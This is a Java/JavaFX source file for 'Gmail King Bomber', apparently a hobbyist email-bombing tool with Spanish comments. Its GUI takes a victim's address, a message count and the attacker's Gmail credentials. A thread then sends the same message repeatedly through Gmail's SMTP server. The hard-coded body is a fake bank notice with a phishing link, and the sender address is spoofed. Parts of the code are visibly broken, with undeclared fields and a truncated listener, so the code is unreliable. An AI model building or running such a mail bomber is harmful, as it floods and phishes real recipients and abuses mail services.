import java.util.Date;
import java.util.Properties;
// Librerias JavaFX
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Group;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.Label;
import javafx.scene.control.PasswordField;
import javafx.scene.control.TextArea;
import javafx.scene.control.TextField;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.paint.Color;
import javafx.stage.Stage;
// librerias JavaMail
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JOptionPane;
public class GmailKingBomber extends Application {
Label lblEmail,lblAsunto,lblMensaje,cantMensajes,lblActividad,lblEmailSender,lblPassSender
; TextField txtEmail,txtAsunto,txtcantMensajes,txtEmailSender
; PasswordField txtPassSender;
public void start(Stage stage){
Group root
= new Group(); // crea un panel "Grupo" (ver doc) Scene escena = new Scene(root,550,420); // se lo asigna a la escena y configura sizes
// email
lblEmail
= new Label("Email"); lblEmail.
setTextFill(Color.
web("#0076a3")); lblEmail.setLayoutX(8);
lblEmail.setLayoutY(8);
txtEmail.setFocusTraversable(true);
txtEmail.setPrefSize(150,25);
txtEmail.setLayoutX(20);
txtEmail.setLayoutY(28);
// asunto
lblAsunto
= new Label("Asunto"); lblAsunto.
setTextFill(Color.
web("#0076a3")); lblAsunto.setLayoutX(8);
lblAsunto.setLayoutY(55);
txtAsunto.setFocusTraversable(true);
txtAsunto.setPrefSize(150,25);
txtAsunto.setLayoutX(20);
txtAsunto.setLayoutY(75);
// mensaje
lblMensaje
= new Label("Mensaje"); lblMensaje.
setTextFill(Color.
web("#0076a3")); lblMensaje.setLayoutX(8);
lblMensaje.setLayoutY(101);
txrMensaje.setFocusTraversable(true);
txrMensaje.setPrefSize(150,80);
txrMensaje.setLayoutX(20);
txrMensaje.setLayoutY(126);
// cantidad de mensajes
cantMensajes
= new Label("Cantidad de emails"); cantMensajes.
setTextFill(Color.
web("#0076a3")); cantMensajes.setLayoutX(8);
cantMensajes.setLayoutY(211);
txtcantMensajes.setFocusTraversable(true);
txtcantMensajes.setPrefSize(80,25);
txtcantMensajes.setLayoutX(20);
txtcantMensajes.setLayoutY(234);
// email atacador
lblEmailSender
= new Label("Email atacante"); lblEmailSender.
setTextFill(Color.
web("#0076a3")); lblEmailSender.setLayoutX(8);
lblEmailSender.setLayoutY(266);
// txt email atacador
txtEmailSender.setFocusTraversable(true);
txtEmailSender.setLayoutX(20);
txtEmailSender.setLayoutY(285);
// pass del atacador
lblPassSender
= new Label("Pass"); lblPassSender.
setTextFill(Color.
web("#0076a3")); lblPassSender.setLayoutX(8);
lblPassSender.setLayoutY(310);
//ptxt pass del atacador
txtPassSender = new PasswordField();
txtPassSender.setFocusTraversable(true);
txtPassSender.setLayoutX(20);
txtPassSender.setLayoutY(329);
// si se empieza a escribir la contrasena se activa el boton
txtPassSender.textProperty().addListener(new ChangeListener<String>() {
@Override
public void changed(ObservableValue<? extends String> observable,
btnOk.setDisable(false);
}
});
// boom
btnOk
= new Button("¡Boom!"); btnOk.setFocusTraversable(true);
btnOk.setDisable(true);
btnOk.
setTextFill(Color.
web("#0076a9")); btnOk.setLayoutX(20);
btnOk.setLayoutY(385);
btnOk.setPrefSize(100,25);
// evento del boton
btnOk.setOnAction(new EventHandler<ActionEvent>() {
public void handle
(ActionEvent event
){ // crea un thread para iniciar el proceso Boom boom = new Boom();
boom.start(); // inicia la tarea
}
});
// boton borrar
btnBorrar
= new Button("Borrar"); btnBorrar.setLayoutX(126);
btnBorrar.setLayoutY(385);
btnBorrar.setPrefSize(100,25);
btnBorrar.setOnAction(new EventHandler<ActionEvent>() {
// borra todos los cambos y pone el focus en el email victima
txtEmail.setText(null);
txtAsunto.setText(null);
txrMensaje.setText(null);
txtcantMensajes.setText(null);
txrActividad.setText("");
txtEmail.requestFocus();
}
});
// textarea
lblActividad
= new Label("Actividad"); lblActividad.
setTextFill(Color.
web("#0076a3")); lblActividad.setLayoutX(250);
lblActividad.setLayoutY(8);
txrActividad.setPrefSize(300,390);
txrActividad.setLayoutX(250);
txrActividad.setLayoutY(30);
txrActividad.setEditable(false); // el textarea no es editable
// imagen para el fondo
ImageView imagen = new ImageView();
imagen.setImage(ima);
// imagen para el icono de la ventana
stage.
getIcons().
add(new Image("file:descarga.jpg")); // agrega todos los componentes al panel
root.getChildren().addAll(imagen,lblEmail,btnOk,btnBorrar,txtEmail,lblAsunto,txtAsunto,lblMensaje,txrMensaje,cantMensajes,txtcantMensajes,lblEmailSender,txtEmailSender,lblPassSender,txtPassSender,lblActividad,txrActividad);
stage.setTitle("¡Gmail king bomber! v0.1 - Darkgus"); // titulo del "stage" ( jframe)
stage.setScene(escena); // le asigna la escena ( la escena es el panel principal, dentro esta el panel root de tipo Group)
stage.setResizable(false);
stage.show(); // mostramos la stage
}
// clase que hace el envío de emails mediante thread
private class Boom
extends Thread{
private boolean continuar=true; //condicion del thread
void detener(){ // metodo para detener el thread
continuar = false;
}
void inhabilitar() { // inhabilita los controles
btnOk.setDisable(true);
btnBorrar.setDisable(true);
txtEmail.setEditable(false);
txtAsunto.setEditable(false);
txrMensaje.setEditable(false);
txtcantMensajes.setEditable(false);
txtEmailSender.setEditable(false);
txtPassSender.setEditable(false);
}
void habilitar() { // habilita los controles
btnOk.setDisable(false);
btnBorrar.setDisable(false);
txtEmail.setEditable(true);
txtAsunto.setEditable(true);
txrMensaje.setEditable(true);
txtcantMensajes.setEditable(true);
txtEmailSender.setEditable(true);
txtPassSender.setEditable(true);
}
public void run() { // incia el thread
while(continuar) { // hace la tarea mientras continuar sea true
try {
inhabilitar();
// Propiedades de la conexión
props.setProperty("mail.smtp.host", "smtp.gmail.com");
props.setProperty("mail.smtp.starttls.enable", "true");
props.setProperty("mail.smtp.port", "587");
props.setProperty("mail.smtp.user", txtEmailSender.getText());
props.setProperty("mail.smtp.auth", "true");
// Preparamos la sesion
Session session = Session.getDefaultInstance(props);
// Construimos el mensaje
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress("yo@yo.com"));
message.addRecipient(
Message.RecipientType.TO,
new InternetAddress(txtEmail.getText()));
message.setSubject("Hola");
message.setText(
"Este es un aviso de su banco: clickee aquí: www.terobolacuenta.com");
// Lo enviamos.
int cantidad
= Integer.
parseInt(txtcantMensajes.
getText() ); for(int i=1; i<=cantidad; i++) {
Transport t = session.getTransport("smtp");
t.
connect(txtEmailSender.
getText(),
new String(txtPassSender.
getText())); t.sendMessage(message, message.getAllRecipients());
txrActividad.setText(txrActividad.getText() + "\n" +
"Nuevo mensaje enviado: " + new Date() + "\n" + "Destino: " + txtEmail.getText() + "\n" +
"Asunto: " + txtAsunto.getText() + "\n" +
"Mensaje: " + txrMensaje.getText()+"\n"+"\n");
// Cierre.
t.close();
if(i==cantidad) {
detener();
habilitar();
}
} // fin for
} // fin try
catch(Exception e
) { //detenemos el thread, habilitamos los button y mostramos error detener();
habilitar();
JOptionPane.
showMessageDialog(null,
"Ha ocurrido un error. Asegúrese que se hayan\nintroducido correctamente los datos",
"ERROR",
JOptionPane.
ERROR_MESSAGE); }
} // fin while
} // fin run
} // fin clase
public static void main
(String[] args
) { launch(args); // lanza la aplicacion
}
}